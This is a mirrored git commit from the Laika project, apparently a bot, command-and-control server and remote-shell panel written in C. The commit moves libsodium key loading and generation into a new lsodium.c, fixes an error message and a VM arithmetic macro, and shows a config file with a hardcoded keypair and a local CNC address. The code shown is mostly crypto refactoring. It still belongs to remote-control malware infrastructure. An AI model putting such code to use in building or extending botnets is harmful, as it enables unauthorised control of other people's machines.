mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-10-31 02:20:21 +00:00 
			
		
		
		
	Added lsodium.c, laikaK_loadKeys, laikaK_genKeys
This commit is contained in:
		| @@ -56,13 +56,13 @@ struct sLaika_bot *laikaB_newBot(void) { | ||||
|         LAIKA_ERROR("LibSodium failed to initialize!\n"); | ||||
|     } | ||||
|  | ||||
|     if (crypto_kx_keypair(bot->pub, bot->priv) != 0) { | ||||
|     if (!laikaK_genKeys(bot->pub, bot->priv)) { | ||||
|         laikaB_freeBot(bot); | ||||
|         LAIKA_ERROR("Failed to gen keypair!\n"); | ||||
|     } | ||||
|  | ||||
|     /* read cnc's public key into peerPub */ | ||||
|     if (sodium_hex2bin(bot->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { | ||||
|     if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) { | ||||
|         laikaB_freeBot(bot); | ||||
|         LAIKA_ERROR("Failed to init cnc public key!\n"); | ||||
|     } | ||||
|   | ||||
| @@ -180,7 +180,6 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { | ||||
|  | ||||
| struct sLaika_cnc *laikaC_newCNC(uint16_t port) { | ||||
|     struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); | ||||
|     size_t _unused; | ||||
|  | ||||
|     /* init peer hashmap & panel list */ | ||||
|     cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL); | ||||
| @@ -205,14 +204,9 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { | ||||
|  | ||||
|     /* load keys */ | ||||
|     LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY); | ||||
|     if (sodium_hex2bin(cnc->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { | ||||
|     if (!laikaK_loadKeys(cnc->pub, cnc->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) { | ||||
|         laikaC_freeCNC(cnc); | ||||
|         LAIKA_ERROR("Failed to init cnc public key!\n"); | ||||
|     } | ||||
|  | ||||
|     if (sodium_hex2bin(cnc->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { | ||||
|         laikaC_freeCNC(cnc); | ||||
|         LAIKA_ERROR("Failed to init cnc private key!\n"); | ||||
|         LAIKA_ERROR("Failed to init cnc keypairs!\n"); | ||||
|     } | ||||
|  | ||||
|     return cnc; | ||||
|   | ||||
| @@ -136,7 +136,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_ | ||||
|  | ||||
|     /* sanity check, make sure shell is open */ | ||||
|     if ((peer = aInfo->shellBot) == NULL) | ||||
|         LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Not shell open!\n"); | ||||
|         LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n"); | ||||
|  | ||||
|     if (sz > LAIKA_SHELL_DATA_MAX_LENGTH) | ||||
|         LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n"); | ||||
|   | ||||
| @@ -1,14 +1,14 @@ | ||||
| #ifndef LAIKA_CONFIG_H | ||||
| #define LAIKA_CONFIG_H | ||||
|  | ||||
| /* version info */ | ||||
| #define LAIKA_VERSION_MAJOR 0 | ||||
| #define LAIKA_VERSION_MINOR 1 | ||||
|  | ||||
| /* keys */ | ||||
| #define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" | ||||
| #define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc" | ||||
| #define LAIKA_CNC_IP "127.0.0.1" | ||||
| #define LAIKA_CNC_PORT "13337" | ||||
|  | ||||
| #endif | ||||
| #ifndef LAIKA_CONFIG_H | ||||
| #define LAIKA_CONFIG_H | ||||
|  | ||||
| /* version info */ | ||||
| #define LAIKA_VERSION_MAJOR 0 | ||||
| #define LAIKA_VERSION_MINOR 1 | ||||
|  | ||||
| /* keys */ | ||||
| #define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27" | ||||
| #define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc" | ||||
| #define LAIKA_CNC_IP "127.0.0.1" | ||||
| #define LAIKA_CNC_PORT "13337" | ||||
|  | ||||
| #endif | ||||
|   | ||||
| @@ -3,6 +3,11 @@ | ||||
|  | ||||
| #include "sodium.h" | ||||
|  | ||||
| #include <stdbool.h> | ||||
|  | ||||
| #define LAIKAENC_SIZE(sz) (sz + crypto_box_SEALBYTES) | ||||
|  | ||||
| bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv); | ||||
| bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv); | ||||
|  | ||||
| #endif | ||||
|   | ||||
| @@ -29,10 +29,12 @@ struct sLaika_vm { | ||||
|     int pc; | ||||
| }; | ||||
|  | ||||
| #define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i}) | ||||
| #define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr}) | ||||
| #define LAIKA_MAKE_VM(consts, code) (struct sLaika_vm)({.constList = consts, .code = code, .pc = 0}) | ||||
|  | ||||
| /* constants */ | ||||
| #define LAIKA_MAKE_VM_INT(i) (struct sLaika_vm_val)({.i = i}) | ||||
| #define LAIKA_MAKE_VM_PTR(ptr) (struct sLaika_vm_val)({.ptr = ptr}) | ||||
| /* instructions */ | ||||
| #define LAIKA_MAKE_VM_IA(opcode, a) opcode, a | ||||
| #define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b | ||||
| #define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c | ||||
| @@ -63,7 +65,7 @@ inline void laikaV_execute(struct sLaika_vm *vm) { | ||||
|     uint8_t a = READBYTE; \ | ||||
|     uint8_t b = READBYTE; \ | ||||
|     uint8_t c = READBYTE; \ | ||||
|     vm->stack[a] = vm->stack[b].i x vm->stack[c].i; \ | ||||
|     vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \ | ||||
|     break; \ | ||||
| } | ||||
|  | ||||
|   | ||||
							
								
								
									
										19
									
								
								lib/src/lsodium.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										19
									
								
								lib/src/lsodium.c
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,19 @@ | ||||
| #include "lsodium.h" | ||||
|  | ||||
| #include <string.h> | ||||
|  | ||||
| bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) { | ||||
|     size_t _unused; | ||||
|  | ||||
|     if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0) | ||||
|         return false;  | ||||
|      | ||||
|     if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0) | ||||
|         return false; | ||||
|  | ||||
|     return true; | ||||
| } | ||||
|  | ||||
| bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) { | ||||
|     return crypto_kx_keypair(outPub, outPriv) == 0; | ||||
| } | ||||
| @@ -136,8 +136,6 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { | ||||
| /* ===============================================[[ Client API ]]=============================================== */ | ||||
|  | ||||
| void shellC_init(tShell_client *client) { | ||||
|     size_t _unused; | ||||
|  | ||||
|     laikaP_initPList(&client->pList); | ||||
|     client->peer = laikaS_newPeer( | ||||
|         shellC_pktTbl, | ||||
| @@ -157,18 +155,13 @@ void shellC_init(tShell_client *client) { | ||||
|         LAIKA_ERROR("LibSodium failed to initialize!\n"); | ||||
|     } | ||||
|  | ||||
|     if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { | ||||
|     if (!laikaK_loadKeys(client->pub, client->priv, LAIKA_PUBKEY, LAIKA_PRIVKEY)) { | ||||
|         shellC_cleanup(client); | ||||
|         LAIKA_ERROR("Failed to init public key!\n"); | ||||
|     } | ||||
|  | ||||
|     if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { | ||||
|         shellC_cleanup(client); | ||||
|         LAIKA_ERROR("Failed to init private key!\n"); | ||||
|         LAIKA_ERROR("Failed to init keypair!\n"); | ||||
|     } | ||||
|  | ||||
|     /* read cnc's public key into peerPub */ | ||||
|     if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { | ||||
|     if (!laikaK_loadKeys(client->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) { | ||||
|         shellC_cleanup(client); | ||||
|         LAIKA_ERROR("Failed to init cnc public key!\n"); | ||||
|     } | ||||
|   | ||||
		Reference in New Issue
	
	Block a user